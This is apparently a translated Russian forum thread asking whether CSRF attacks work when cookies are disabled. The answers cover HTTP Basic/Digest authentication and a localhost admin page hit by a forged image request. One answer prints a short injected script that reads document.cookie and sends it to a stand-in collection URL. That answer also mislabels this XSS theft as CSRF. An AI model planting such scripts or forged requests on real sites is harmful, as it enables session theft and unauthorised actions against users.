Возможен ли CSRF без Cookies? - PullRequest
       4

Возможен ли CSRF без Cookies?

5 голосов
/ 17 сентября 2010

Я изучал это в течение некоторого времени, но я не нашел ничего, что могло бы удовлетворить мое любопытство. Возможно ли, как пользователь, быть жертвой CSRF-атаки, если куки отключены. Очевидно, что CSRF зависит от браузера пользователя для отправки учетных данных пользователя с поддельным запросом на законный сервер. Помимо IP-адресов, браузеры не отправляют автоматически какие-либо другие значения сеанса, не так ли? В этом случае, если пользователь может войти в систему с отключенными файлами cookie, они будут защищены от CSRF даже на уязвимых веб-сайтах.

Ответы [ 3 ]

4 голосов
/ 17 сентября 2010

Существуют другие формы аутентификации, поддерживаемые браузерами, в частности HTTP Basic и HTTP Digest, а также клиентские сертификаты SSL / TLS. К сожалению, интерфейс для «выхода из системы» при использовании этих механизмов обычно довольно плохой. В отличие от файлов cookie и форм, прекращение использования учетных данных контролируется браузером (а не сервером и его файлами cookie), но кнопки в лучшем случае находятся в некотором расширенном меню в целом (если они вообще существуют).

4 голосов
/ 18 сентября 2010

Итак, вы должны спросить себя, как сервер узнает одного клиента от другого?В большинстве случаев это сессионный cookie, но есть и другие способы.

Рассмотрим приложение администратора, которое настроено на работу только при доступе с локального хоста.Здесь сервер доверяет IP-адресу браузера.Теперь, если злоумышленник создает страницу типа <img src="http://localhost/do/something/harmful"/> и каким-то образом заставляет администратора посетить его страницу, у вас есть CSRF.

Другие примеры включают злоупотребление базовой и дайджест-аутентификацией Http, как уже указывал Бруно.

0 голосов
/ 17 сентября 2010

Конечно - просто подумайте, если скомпрометированный сайт не очистил HTML, и вы ввели следующий текст в поле «комментарий»:

<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>

Обычно вы используете javascript для сбора файлов cookie и записи значений в параметры URL тега изображения, чтобы они передавались на «плохой» сервер, когда браузер пытается загрузить изображение.

Конечно - в приведенном выше примере я использую куки из «document.cookie», но в духе вашего вопроса «если куки отключены», так же просто извлечь любую другую информацию из DOM (скрытое поле ввода значения и т. д.) и отправьте их в URL на целевой сервер.

...